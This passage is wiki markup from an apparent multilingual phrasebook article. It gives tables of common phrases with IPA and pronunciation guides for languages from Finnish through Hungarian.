| ([[Media:en puhu suomea.ogg|listen]])
|-
| I don't know 
| '''''en tiedä''''' 
| {{IPA|/&amp;#603;n 'ti&amp;#603;dæ/}} 
| &lt;small&gt; (en tee-eh-dah) &lt;/small&gt;
| ([[Media:en tiedä.ogg|listen]])
|-
| Frustration
| '''''perkele!''''' 
|
| &lt;small&gt; (PER-ke-le) &lt;/small&gt;
|
|-
|}

== [[French language|French]] ([[Romance languages|Romance]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Literal meaning
|- valign=top bgcolor=#f8f8f8
|-
|French || '''''français''''' || {{IPA|/frɑ̃sɛ/}} ||&lt;small&gt;(&quot;fraw(n)-SAY&quot;)&lt;/small&gt;
|- valign=top bgcolor=#f8f8f8
|hello || '''''bonjour''''' || {{IPA|/bɔ̃ʒuʁ/}} ||&lt;small&gt;(&quot;boh(n)-JHURE&quot;)&lt;/small&gt;
||good day
|- 
|good-bye || '''''au revoir''''' || {{IPA|/o ʁ&lt;sup&gt;ə&lt;/sup&gt;vwaʁ/}} ||&lt;small&gt;(&quot;oh-reh-VWAR&quot;)&lt;/small&gt;
|| to the seeing-again
|- valign=top bgcolor=#f8f8f8
|please || '''''s'il vous plaît''''' || {{IPA|/sil vu plɛ/}} ||&lt;small&gt;(&quot;seal voo PLAY&quot;&lt;/small&gt;)
|| if it pleases you
|-
|thank you || '''''merci''''' || {{IPA|/mɛʁsi/}} ||&lt;small&gt;(&quot;mare-SEE&quot;)&lt;/small&gt;
|- valign=top bgcolor=#f8f8f8
|you're welcome || '''''je vous en prie''''' || {{IPA|/ʒə vu zɑ̃ pʁi/}} || &lt;small&gt;(&quot;zhe voo zah(n) pree&quot;)&lt;/small&gt;
|| I beg you of it
|-
|that one || '''''cela''''' || {{IPA|/səla/}} ||&lt;small&gt;(&quot;suh-LAH&quot;)&lt;/small&gt;
|- valign=top bgcolor=#f8f8f8
|this one || '''''ceci''''' || {{IPA|/səsi/}} ||&lt;small&gt;(&quot;suh-SEE&quot;)&lt;/small&gt;
|-
|how much? || '''''combien''''' || {{IPA|/kɔ̃bjɛ̃/}} ||&lt;small&gt;(&quot;ko(n)m-BYEN&quot;)&lt;/small&gt;
|- valign=top bgcolor=#f8f8f8
|English || '''''anglais''''' || {{IPA|/ɑ̃glɛ/}} ||&lt;small&gt;(&quot;ah(n)-GLAY&quot;)&lt;/small&gt;
|-
|yes || '''''oui''''' || {{IPA|/wi/}} ||&lt;small&gt;(&quot;wee&quot;)&lt;/small&gt;
|- valign=top bgcolor=#f8f8f8
|no || '''''non''''' || {{IPA|/nɔ̃/}} ||&lt;small&gt;(&quot;nah(n)&quot;)&lt;/small&gt;
|-
|sorry || '''''pardon''''' &lt;br&gt; '''''excusez-moi''''' || {{IPA|/paʁdɔ̃/}} &lt;br&gt; {{IPA|/ɛkskyze mwa/}} ||&lt;small&gt;(&quot;pahr-DO(n)&quot;)&lt;/small&gt; &lt;br&gt; &lt;small&gt;(&quot;ex-ku-zay-MWA&quot;)&lt;/small&gt;
|- valign=top bgcolor=#f8f8f8
|I don't understand || '''''Je ne comprends pas''''' || {{IPA|/ʒə nə cõpʁɑ̃ pa/}} ||&lt;small&gt;(&quot;zhe ne co(n)m-pro(n) PAH&quot;)&lt;/small&gt;
|-
|where's the toilet? || '''''Où sont les toilettes?''''' || {{IPA|/u sɔ̃ lɛ twalɛt/}} ||&lt;small&gt;(&quot;ooh so(n) lay twa-LET)&lt;sup&gt;8&lt;/sup&gt;&lt;/small&gt;
|| Where are the toilets?
|- valign=top bgcolor=#f8f8f8
|generic toast || '''''Santé!''''' &lt;br&gt; '''''Tchin!''''' (familiar) || {{IPA|/sɑ̃te/}} &lt;br&gt; {{IPA|/ʧin/}} ||&lt;small&gt;(&quot;sahn-TAY&quot;) &lt;br&gt; (&quot;tchin&quot;)&lt;/small&gt; 
|| ''Santé!'' = Health!
|-
|Do you speak English? || '''''Parlez-vous anglais?''''' || {{IPA|/paʁle vuzɑ̃glɛ/}} ||&lt;small&gt;(&quot;par-lay voo zah(n)-GLAY&quot;)&lt;/small&gt;
|- valign=top bgcolor=#f8f8f8
|Excuse me, I don't speak French very well. || '''''Pardonnez-moi, mais je ne parle pas très bien français''''' || {{IPA|/paʁdɔne mwa mɛ ʒə nə paʁl&lt;sup&gt;ə&lt;/sup&gt; pa trɛ bjɛ̃ frɑ̃sɛ/}} || &lt;small&gt; (par-dohn-ay MWAH may zheu neuh parl pah tray byen frahn-SAY) &lt;/small&gt;
|| Pardon me, but I do no speak French very well.
|-
|}

== [[Frisian language|Frisian]] ([[Germanic languages|Germanic]]) ==

The translations provided following W: are in [[Frisian language|West Frisian]],
those following N: are in [[North Frisian language|North Frisian]] (Mooring dialect).

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
|-
|-
|Frisian || W: ''Frysk'' &lt;br&gt; N: ''Friisk'' ||{{IPA|/fri.sk/}} &lt;br&gt;{{IPA|/fri:sk/}} || (freask) &lt;br&gt; (freask)
|-
|hello || W: ''a goeie'' &lt;br&gt; N: ''moin'' ||{{IPA|/ɑ gujə/}} &lt;br&gt;{{IPA|/mOIn/}} || (ah gooye) &lt;br&gt; (moin)
|-
|good-bye || W: ''oant sjen'' &lt;br&gt; N: ''adjiis'' ||{{IPA|/ɔnt ʃɛn/}} &lt;br&gt;{{IPA|/Adji:s/}} || (ont shen) &lt;br&gt; (a-jease)
|-
|please || W: ''asjeblyft'' &lt;br&gt; N: ''weesegödj'' ||{{IPA|/ɑʃəbli.ft/}} &lt;br&gt;{{IPA|/ve:z&amp;gödj/}} || (ashebleaft) &lt;br&gt; (veisegud-y)
|-
|thank you || W: ''tige tank'' &lt;br&gt; N: ''foole tunk'' ||{{IPA|/'tiːɣə tɑnk/}} &lt;br&gt;{{IPA|/fo:l&amp;tunk/}} || (teaghe tank) &lt;br&gt; (foughle toonk)
|-
|that one || W: ''dy'' &lt;br&gt; N: ''di'' ||{{IPA|/di/}} &lt;br&gt;{{IPA|/dI/}} || (dea) &lt;br&gt; (dih)
|-
|how much? || W: ''hoefolle?'' &lt;br&gt; N: ''hüfoole?'' ||{{IPA|/hufolə/}} &lt;br&gt;{{IPA|/h^fo:l&amp;/}} || (who folle) &lt;br&gt; (huh foughle)
|-
|English || W: ''Ingelsk'' &lt;br&gt; N: ''Aingelsch'' ||{{IPA|/iŋəlsk/}} &lt;br&gt;{{IPA|/&amp;j:ñ&amp;lS/}} || (ingelsk) &lt;br&gt; (ayngelsh)
|-
|yes || W: ''ja'' &lt;br&gt; N: ''joo'' ||{{IPA|/ja/}} &lt;br&gt;{{IPA|/jo:/}} || (yaah) &lt;br&gt; (yo)
|-
|no || W: ''nee'' &lt;br&gt; N: ''nåån'' ||{{IPA|/ne/}} &lt;br&gt;{{IPA|/nO:n/}} || (nay) &lt;br&gt; (nawn)
|-
|where's the bathroom? || W: ''Wêr is hjir it húske?'' &lt;br&gt; N: ''Weer as heer et hüüschen?'' ||{{IPA|/Wɛːr ɪs jɪrət hy.skə/}} &lt;br&gt; {{IPA|/wI:R &amp;s hI:r &amp;t hy.S&amp;n/}} || (where is yirret hewske) &lt;br&gt; (vere is heret hewshen)
|-
|generic toast || W: ''tsjoch'' &lt;br&gt; N: ''sünhäid'' ||{{IPA|/ʧoX/}} &lt;br&gt;{{IPA|/sönhEId/}} || (chokh) &lt;br&gt; (sun-heyd)
|-
|Do you speak English? || W: ''Kinne jo Ingelsk?'' &lt;br&gt; N: ''Koost dü Aingelsch?'' ||{{IPA|/kɪnə jo. ɪŋəlsk/}} &lt;br&gt;{{IPA|/ko:stö &amp;jñ@lS/}} ||(kinne yo ingelsk?) &lt;br&gt; (coastuh ayngelsh)
|-
|I don't understand || W: ''Ik begryp it net'' &lt;br&gt; N: ''Ik begrip et ai'' ||{{IPA|/ɪk bəgri.pət nɛt/}} &lt;br&gt;{{IPA|/Ik b&amp;grIp&amp;t&amp;j/}} || (ick begreapet net) &lt;br&gt; (ick begripet ay)
|-
|Sorry || W: ''Pardon'' &lt;br&gt; N: ''Fertrüt me'' ||{{IPA|/pədɔn/}} &lt;br&gt;{{IPA|/ftr^t me/}} ||(p'donn) &lt;br&gt; (f-trut meh)
|}

== [[Friulian language|Friulian]] ([[Romance languages|Romance]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
|-
|Friulian || ''furlan'' 
|-
|hello || ''mandi'' 
|-
|good-bye || ''a riviodisi''
|-
|please || ''par plasê'' 
|-
|thank you || ''graziis'' 
|-
|that one || ''chel'' (masculine)  &lt;br&gt;''chê'' (feminine)
|-
|how much? ''trop?'' 
|-
|English || ''inglês'' 
|-
|yes || ''sì'' || /{{IPA|si}}/  ||(see)
|-
|no || ''no'' || /{{IPA|no}}/ || (no)
|-
|sorry || ''scuse'' &lt;br&gt; ''pardon''
|-
|I don't understand || ''no ai capît'' &lt;br&gt; ''no capissi''
|-
|I don't speak Friulian || ''jo no feveli il furlan''
|-
|where's the bathroom? || ''Dulà isal il bagn?''
|-
|generic toast || ''vive''&lt;br&gt; ''cincin'' &lt;br&gt; ''prosit''
|}

== [[Galician language|Galician]] ([[Romance languages|Romance]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|-
|Galician:
|''Galego''
|-
|hello:
|''Ola''
|-
|good-bye: 
|''adeus'' 
|-
|please:
|''prégolle'', ''por favor''
|-
|thank you: 
|''graciñas''; ''grazas''
|-
|sorry:
|''síntoo''
|-
|that one:
|''aquel'' (m.); ''aquela'' (f.)
|-
|how much?:
|''¿Canto custa?''; ''¿Canto é?'' 
|-
|yes: 
|''si'' 
|{{IPA|/ˈsɪ/}}
|-
|no: 
|''non''
|-
|I don't understand:
|''Non o entendo'' 
|-
|Where's the bathroom?:
|''¿Onde está/queda o baño?''; ''¿Onde está/queda o lavado?''
|-
|generic toast: 
|''¡Saúde!''
|-
|Do you speak English?: 
|''¿Fala vostede inglés?'' (formal), ''¿Falas inglés?'' (informal) 
|-
|-
|Do you speak Galician?:
|''¿Fala vostede galego?'' (formal), ''¿Falas galego?'' (informal)
|-
|}

== [[Georgian language|Georgian]] ([[Caucasian languages|Caucasian]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Literal meaning
|- valign=top bgcolor=#f8f8f8
|-
|Georgian || ქართული || {{IPA|/kartʊli/}} || (''Kartuli'') 
|- valign=top bgcolor=#f8f8f8
|Hello! || გამარჯობა! || {{IPA|/gamarʤoba/}} || (''Gamarjoba!'') ||  &quot;victory&quot;
|-
|How are you? || როგორა ხარ? || {{IPA|/rɔgɔra xar/}} || (''Rogora khar?'')   
|- valign=top bgcolor=#f8f8f8
|Good, you? || კარგად, შენ? || {{IPA|/k'argad ʃɛn/}}  || (''K'argad, shen?'')  ||  
|-
|Excuse me! || ბოდიში! || {{IPA|/bɔdɪʃɪ/}} || (''Bodishi!'')   
|- valign=top bgcolor=#f8f8f8
|Please || თუ შეიძლება || {{IPA|/tʊ ʃɛɪʣlɛba/}} || (''Tu Sheidzleba'') || &quot;if possible&quot;
|-
|Welcome || კეთილი იყოს თქვენი მობრძანება!  || {{IPA|/k'ɛtɪlɪ ɪqʼɔs tkvɛnɪ mɔbrʣanɛba/}} || (''Ke'tili iq'os tkveni mobrdzaneba!'')  
|- valign=top bgcolor=#f8f8f8
|Thank you || გმადლობთ!  || {{IPA|/gmadlɔbt/}} || (''Gmadlobt'') ||  
|- 
|You are welcome || არაფრის || {{IPA|/araprɪs/}} || (''Arapris'') || &quot;for nothing&quot;
|- valign=top bgcolor=#f8f8f8
|English || ინგლისური || {{IPA|/ɪnglɪsʊrɪ/}} || (''Inglisuri'') ||  
|-
|Do you speak English? || ინგლისური  იცით? || {{IPA|/ɪnglɪsʊrɪ ɪʦɪt/}} || (''Inglisuri itsit?'') 
|- valign=top bgcolor=#f8f8f8
|I don't speak Georgian  || ქართული არ ვიცი|| {{IPA|/kartʊli ar vɪʦɪ/}} || (''Kartuli ar vitsi'') ||  
|-
|Yes || დიახ || {{IPA|/dɪax/}} || (''Diakh'')
|- valign=top bgcolor=#f8f8f8
|No || არა || {{IPA|/ara/}} || (''Ara'') ||  
|- 
|Georgia || საქართველო || {{IPA|/sakartvɛlɔ/}} || (''Sakartvelo'') 
|}

== [[German language|German]] ([[Germanic languages|Germanic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Sound
|- valign=top
|-
|German || ''Deutsch'' || {{IPA|/dɔjʧ/}} || (doytch) || ([[Media:CPIDL German - Deutsch.ogg|listen]])
|-
|hello || Hallo || {{IPA|/ˈhaloː/}} || (HAH-loh) || ([[Media:CPIDL German - Hallo.ogg|listen]])
|-
|good-bye || ''auf Wiedersehen'' || {{IPA|/aʊf 'viːdəzeːn/}} || (owf VEE-der-zayn) ||([[Media:CPIDL German - Auf Wiedersehen.ogg|listen]])
|-
|please || ''bitte'' || {{IPA|/'bɪtə/}} || (BIT-ta) || ([[Media:CPIDL German - Bitte.ogg|listen]])
|-
|you're welcome || ''bitteschön'' || {{IPA|/'bɪtəʃøn/}}  || (Bit-ta Shern) ||
|-
|thank you || ''danke'' || {{IPA|/'daŋkə/}} || (DAHNG-keh) || ([[Media:CPIDL German - Danke.ogg|listen]])
|-
|that one || ''das'' || {{IPA|/dɑs/}} || (DAHSS) || ([[Media:CPIDL German - Das.ogg|listen]])
|-
|how much? || ''wie viel?'' || {{IPA|/vi fiːl/}} || (vee feel?) || ([[Media:CPIDL German - Wie viel.ogg|listen]])
|-
|English || ''Englisch'' || {{IPA|/'ʔɛŋglɪʃ/}} || (ENG-lish) || ([[Media:CPIDL German - Englisch.ogg|listen]])
|-
|yes || ''ja'' || {{IPA|/jaː/}} || (yah) || ([[Media:CPIDL German - Ja.ogg|listen]])
|-
|no || ''nein'' || {{IPA|/najn/}} || (nine) || ([[Media:CPIDL German - Nein.ogg|listen]])
|-
|I need help || ''Ich brauche Hilfe'' || {{IPA|/iç braʊxə hɪlfə/}} ||ish BROW-ka HILL-fa ||
|-
|excuse me || ''Entschuldigen Sie '' || {{IPA|/ɛntʃuldigən ziː/}} || ent SHOOL dee gen Zee ||
|-
|pardon me || ''verzeihen Sie '' || {{IPA|/fɛrtsaɪən ziː/}} || fair TSEYE-en Zee ||
|-
|I am sick || ''ich bin krank'' || {{IPA|/ɪç bɪn kraŋk/}} || ish bin Krahnk ||
|-
|where's the bathroom? || ''Wo ist die Toilette?'' || {{IPA|/vo ʔɪst diː toi'lɛtə/}} || (vo ist dee toy-LET-tuh) || ([[Media:CPIDL German - Wo ist die Toilette.ogg|listen]])
|-
|generic toast || ''prosit'' &lt;br&gt;''prost'' || {{IPA|/pʁo'zit/}} &lt;br&gt;{{IPA|/pʁoːst/}} || (PRO-zeet) &lt;br&gt; (PROAST) || ([[Media:CPIDL German - Prosit.ogg|listen]]) &lt;br&gt;([[Media:CPIDL German - Prost.ogg|listen]])
|-
|Do you speak English? || ''Sprechen Sie Englisch?'' || {{IPA|/'ʃpʁɛçən ziː 'ʔɛŋlɪʃ/}} || (SHPRE-khen zee ENG-lish) || ([[Media:CPIDL German - Sprechen Sie Englisch.ogg|listen]])
|-
|I don't speak German || ''Ich spreche kein Deutsch'' || {{IPA|/'ɪç ʃprɛçə kaɪn dɔjʧ/}}  || ish SHPRE-ka kine doytch ||
|-
|I don't understand || ''Ich verstehe nicht.'' || {{IPA|/ɪç fəʁ'ʃteːə nɪçt/}} || (ish fair-SHTAY-uh neekht) || ([[Media:CPIDL German - Ich verstehe nicht.ogg|listen]])
|-
|Sorry || ''Entschuldigung'' || {{IPA|/ʔɛnt'ʃʊldɪgʊŋ/}} || (ent-SHOOL-dee-goong) ||([[Media:CPIDL German - Entschuldigung.ogg|listen]])
|-
|I don't know || ''Ich weiß nicht'' || {{IPA|/ɪç vajs  nɪçt/}} || (ish vice neekht)
|-
|Happy birthday || ''Herzlichen Glückwunsch zum Geburtstag'' || {{IPA|/hɛʁtslɪçə glykvʊn tsʊm gəbʊʁtstaːg/}} || (heyrz-lee-khen GLUEK-wunsch tsoom ger-BOORTS-tahg)
|}

== [[Greek language|Greek]] ([[Greek language|Greek]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
|-
|Greek
| ελληνικά
| {{IPA|/ɛlini'ka/}}
|(eh lee nee KA)
|-
|hello
| γειά σας
||{{IPA|/ja sas/}}
|(YA sas) (formal/plural)
|-
|please
|παρακαλώ
|{{IPA|/paraka'lɔ/}}
|(pah rah kah LOH)
|-
|thank you
|ευχαριστώ
|{{IPA|/ɛfxarɪ'stɔ/}}
|(ef ha rees TOH)
|-
|that one
|εκείνο
|{{IPA|/e'kinɔ/}}
|(eh KEE no)
|-
|how much?
|πόσο κάνει;
|{{IPA|/'pɔsɔ 'kani/}}
|(POH so kah nee)
|-
|English
|αγγλικά
|{{IPA|/aŋgli'ka/}}
|(an glee KA)
|-
|yes
|ναι
|{{IPA|/nɛ/}}
|(neh) ''(this is a [[faux amis]] for many European language speakers)''
|-
|no
|όχι
|{{IPA|/'ɔxi/}}
|(OH hee)
|-
|sorry
|συγγνώμη
|{{IPA|/siŋ'nɔmi/}}
|(sig NOH mee) (g is guttural)
|-
|I don't understand
|δεν καταλαβαίνω
|{{IPA|/'ðɛn katala'vɛnɔ/}}
|(THEN ka ta la VENN oh)
|-
|where's the bathroom?
|πού είναι οι τουαλέτες;
|{{IPA|/'pu 'inɛ i tua'lɛtɛs/}}
|(POO EE neh ee toua LET tess)
|-
|generic toast
|γειά μας
|{{IPA|/'ja mas/}}
|(YAH mass)
|-
|Do you speak English?
|μιλάτε αγγλικά;
|{{IPA|/mi'latɛ aŋgli'ka/}}
|(mee LAH teh an glee KA)
|}

== [[Gujarati]] ([[Indo-Iranian_Languages|Indo-Iranian]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase (pronounciation)
|-
|Gujarati || Gujarati
|-
|hello || Kem cho (lit. How are you?)
|-
|good-bye || Aujo (lit. Come again)
|-
|yes || huh 
|-
|no || Nayee
|-
|how much money? || Kekla paisa?
|-
|Where your the restroom? || Tamaru bathroom kya che?
|-
|where are you? || Tame kya cho?
|-
|I would like to drink some water || Mane' pani piwu che
|-
|I am thirsty || Mane' taras lagi che
|}

== [[Haitian Creole]] ([[Romance_languages|Romance]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
|-
|Haitian || Ayisyen
|-
|hello || bonjou
|-
|good-bye || orevwa
|-
|please || souple, tanpri
|-
|thank you || mèsi
|-
|yes || wi
|-
|no || non
|-
|how much? || Konbyen?
|-
|Where is the restroom? || Kote twalèt la?
|-
|where are you? || Kote e la
|}

== [[Hawaiian language|Hawaiian]] ([[Malayo-Polynesian]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
|-
|Hawaiian || {{Unicode|Hawaiʻi}}  || {{IPA|/oːlelo hawaiʔi/}} || (ha va ee)
|-
|hello || {{Unicode|aloha}}  || {{IPA|/aloha/}} || (a low ha)
|-
|good-bye || {{Unicode|A hui hou}}  || {{IPA|/ahuihou/}} || (a hoo-ee hoe)
|-
|please || {{Unicode|e ʻolu ʻolu ʻoe}}  || {{IPA|/eʔoluʔoluʔoe/}} || (ey owe-loo owe-loo owe-ay)
|-
|thank you || {{Unicode|mahalo}}  || {{IPA|/mahalo/}} || (ma ha low)
|-
|yes || {{Unicode|ʻae}}  || {{IPA|/ʔae/}} || (ah ay)
|-
|no || {{Unicode|ʻaʻole}}  || {{IPA|/ʔaʔole/}} || (uh-oh lay)
|-
|how much? || {{Unicode|ʻehia?}}  || {{IPA|/ʔehia/}} || (ay hee uh)
|-
|Where is the restroom? || {{Unicode|Aia i hea ka lumi hoʻopaupilikia?}}  || {{IPA|/aiaiheakalumihoʔopaupilikia/}} || (ah ee ah ee ka loo mee hoe owe pow pee lee kee uh)
|-
|generic toast || {{Unicode|Ola}}  || {{IPA|/ola/}} || (Oh la)
|}

== [[Hebrew language|Hebrew]] ([[semitic languages|Semitic]]) ==
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; 
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Transliteration
! align=left | IPA
|-
|Hebrew||עברית||''ivrit''||{{IPA|/ɪv'ʁɪt/}}
|-
|hello/peace||שלום||''shalom''||{{IPA|/ʃʌ'lom/}}
|-
|good-bye||להתראות||''lehitraot''||{{IPA|/&amp;lɛhitʁʌ'ot/}}
|-
|nice to meet you||נעים מאוד||''na’im me’od''||{{IPA|/nʌ'ɪm me'od}}
|-
|please/you're welcome||בבקשה||''bevakasha''||{{IPA|/&amp;bɛvʌkʌ'ʃʌ/}}
|-
|thank you||תודה||''toda''||{{IPA|/&amp;to'dʌ/}}
|-
|thank you very much||תודה רבה||''toda raba''
|-
|excuse me||סליחה||''slicha''
|-
||that one||את זה||''et zeh'' ||{{IPA|/ɛt zɛ/}}
|-
|how much?||?כמה||''kama''||{{IPA|/&amp;'kʌmʌ/}}
|-
|how much does this cost?||?כמה זה עולה||''kama zeh oleh?''
|-
|English||אנגלית||''anglit'' ||{{IPA|/ʌn'glɪt/}}
|-
|yes||כן||''ken''||{{IPA|/&amp;kɛn/}}
|-
|no/not||לא||''lo''||{{IPA|/&amp;lo/}}
|-
|generic toast (literally, &quot;to life&quot;)||לחיים||''le-chaim''||{{IPA|/&amp;lɛ'Xaim/}}
|-
|good morning||בוקר טוב||''boker tov''
|-
|good noon||צהריים טובים||''tzahara'im tovim''
|-
|good afternoon||אחר צהריים טובים||''achar tzahara'im tovim''
|-
|good evening||ערב טוב||''erev tov''
|-
|good night||לילה טוב||''la&amp;iacute;la tov''
|-
|what's happening?||?מה קורה||''ma koreh?''
|-
|one moment!||!רגע||''rega!''
|-
|what's up?||?מה נשמע||''ma nishma?''
|-
|what's up?||?מה עניינים||''ma einyanim?''
|-
|good||טוב||''tov''
|-
|where is the restroom?||איפה השרותים?‏||''eifo ha-sheirutim?''
|-
|I don't understand||אני לא מבין||''ani lo mevin''
|-
|bon appetit||בתיאבון||''beteavon''
|}

== [[Hindi language|Hindi]] ([[Indo-Iranian languages|Indo-Iranian]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Transliteration
|-
|Hindi||हिन्दी||&lt;i&gt;hindī&lt;/i&gt;||
|-
|hello/goodbye (Hindu, north)||नमस्ते||&lt;i&gt;namaste&lt;/i&gt;|||
|-
|hello/goodbye (Hindu, south)||नमस्कार||&lt;i&gt;namaskār&lt;/i&gt;||
|-
|hello/goodbye (Sikh)||सत श्री अकाल||&lt;i&gt;sat śrī akāl&lt;/i&gt;||
|-
|hello (Muslim)||अस्सलाम अलैकुम||&lt;i&gt;assalām alaikum&lt;/i&gt;||
|-
|hello (Muslim reply)||वालैकुम अस्सलाम||&lt;i&gt;vālaikum assalām&lt;/i&gt;||
|-
|goodbye (Muslim)||ख़ुदा हाफ़िज़||&lt;i&gt;&lt;u&gt;kh&lt;/u&gt;uda hāfiz&lt;/i&gt;||
|-
|please* (Urdu)||मेहरबानी करके||&lt;i&gt;mehrbānī karke&lt;/i&gt;||
|-
|please*||कृपया||&lt;i&gt;{{unicode|kṛipaya}}&lt;/i&gt;||
|-
|thank you*||धन्यवाद||&lt;i&gt;dhanyavād&lt;/i&gt;||
|-
|thank you* (Urdu)||शुक्रिया||&lt;i&gt;śukriyā&lt;/i&gt;||
|-
|thank you very much||बहुत बहुत ...||&lt;i&gt;bahut bahut ...&lt;/i&gt;||
|-
|you're welcome (don't mention it)||कोई बात नहीं||&lt;i&gt;koī bāt nahī&lt;sup&gt;n&lt;/sup&gt;&lt;i&gt;||
|-
|excuse me||माफ़ कीजिये||&lt;i&gt;māf kījiye&lt;/i&gt;||
|-
|excuse me||ज़रा सुनिये||&lt;i&gt;zarā suniye&lt;/i&gt;||
|-
|yes||जी हाँ||&lt;i&gt;jī hā&lt;sup&gt;n&lt;/sup&gt;&lt;/i&gt;||
|-
|no/not||जी नहीं||&lt;i&gt;jī nahī&lt;sup&gt;n&lt;/sup&gt;&lt;i&gt;
|-
|good!/awesome!/oh.../really?!/well!||अच्छा!||&lt;i&gt;acchā!&lt;/i&gt;||
|-
|(all-purpose adj./interj.)||
|-
|How are you?||आप कैसे/कैसी हैं?||&lt;i&gt;āp kaise/kaisī hai?||
|-
|||||(male speaker/female respondent)
|-
|OK!||ठीक है!||&lt;i&gt;{{unicode|ṭhīk hai!}}&lt;/i&gt;||
|-
|one minute! (&quot;just a sec&quot;; interj.)||एक मिनट||&lt;i&gt;ek minaṭ&lt;/i&gt;||
|-
|I don't understand||मैं नहीं समझा/समझी||&lt;i&gt;mai&lt;sup&gt;n&lt;/sup&gt; nahī&lt;sup&gt;n&lt;/sup&gt; samjha/samjhī (m/f)&lt;/i&gt;||
|-
|I don't know||मैं नहीं जानता/जानती हूँ||&lt;i&gt;mai&lt;sup&gt;n&lt;/sup&gt; nahī&lt;sup&gt;n&lt;/sup&gt; jāntā/jāntī hu&lt;sup&gt;n&lt;/sup&gt; (m/f)&lt;/i&gt;||
|-
|English||अंग्रेज़ी||&lt;i&gt;angrezī&lt;/i&gt;||
|-
|what is your name?||आप का नाम क्या है?||&lt;i&gt;āp ka nām kya hai?&lt;/i&gt;||
|-
|my name is ...||मेरा नाम ... है||&lt;i&gt;mera nām ... hai&lt;/i&gt;||
|-
|It was nice to meet you||आप से मिलकर बहुत ख़ुशी हुई||&lt;I&gt;āp se milkar bahut &lt;u&gt;kh&lt;/u&gt;uśī huī&lt;/i&gt;|| 
|-
|It was nice to meet you too (lit. to me also)||&lt;i&gt;मुझे भी||&lt;I&gt;mujhe bhī&lt;/i&gt;||
|-
|How much does this cost?||इसका दाम क्या है?||&lt;i&gt;iska dām kya hai?&lt;/i&gt;||
|-
|Do you speak English?||क्या आप अंग्रेज़ी बोलते है?||&lt;i&gt;kya āp angrezī boltī hai?&lt;/i&gt;
|}
*&lt;nowiki&gt;*&lt;/nowiki&gt;These are not used nearly as casually in Hindi and Urdu as they are in western languages. कृपया especially is used only in cases of true importance or urgency, and using it otherwise would sound incredibly stilted and formal. Instead, politeness is achieved by proper address and verb forms and body language/tone of voice.
&lt;!-- I didn't add &quot;please sit&quot; because I didn't know how to spell the polite imperative bitaye, which would cover please in the verb form. A problem I came into, is that Hindi and Urdu don't use 'please', 'excuse me', 'thank you', or even 'sorry' in the same casual, polite manner as other languages. As &quot;common&quot; phrases, they really don't belong here at all, nor, even possibly, the formal namaskaar; - but I erred on the cautious side, choosing to conform to the rest of the page. --&gt;

== [[Hungarian language|Hungarian]] ([[Finno-Ugric languages|Finno-Ugric]]) ==

'''Note:''' ''gy'' {{IPA|(ɟ)}} is pronounced like in ''woul'''d y'''ou''; ''ny'' ({{IPA|ɲ)}} like in ''ca'''n y'''ou''; ''ö'' and ''ő'' {{IPA|(ø)}} like in ''f'''ur'''''; ''a'' {{IPA|(ɒ)}} like in ''h'''o'''t''; ''s'' {{IPA|(ʃ)}} like in '''''sh'''ip''; ''sz'' {{IPA|(s)}} like in '''''s'''un''; ''j'' {{IPA|(j)}} like in '''''y'''es''; ''cs'' {{IPA|(ʧ)}} like in '''''ch'''ip''; ''é'' {{IPA|(e)}} like in '''''ei'''ght''. The stress is always on the first syllable of the word, although secondary stressing is possible in compound words

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Remarks
|-

|-
|Hungarian || ''magyar'' || /{{IPA|ˈmɒɟɒr}}/ || ('MA-dyar) 
|-
|hello || ''Jó napot kívánok'' || /{{IPA|ˈjoː nɒpot ˈkivaːnok}}/ || ('JOH nup-ot 'KEEH-vaa-nock)
|-
| || '' szia'' || /{{IPA|ˈsiɒ}}/ || ('SEE-ya) ||common amongst friends (not deriving from the English &quot;Seeya&quot;)
|-
|good-bye || ''viszontlátásra'' || /{{IPA|ˈvisontˌlaːtaːʃrɒ}}/ || ('VE-sont-LAAH-taash-ro)
|-
|please || ''legyen szíves'' || /{{IPA|ˈlɛɟɛn ˈsivɛʃ}}/ || ('LEH-dyen 'SEE-vesh) ||literally &quot;Be hearty&quot;
|-
|thank you || ''köszönöm'' || /{{IPA|ˈkøsønøm}}/ || ('KEHR-ser-nerm)
|-
|that one || ''az'' || /{{IPA|ɒz}}/ || (OZ)
|-
|how much? || ''mennyi?'' || /{{IPA|ˈmɛɲːi}}/ || ('ME-nyi)
|-
|I'd like... || ''kérek...'' || /{{IPA|ˈkeːrɛk}}/ || (KAY-reck)
|-
|yes || ''igen'' || /{{IPA|ˈigɛn}}/ || ('EE-ghen)
|-
|no || ''nem'' || /{{IPA|nɛm}}/ || (NEM)
|-
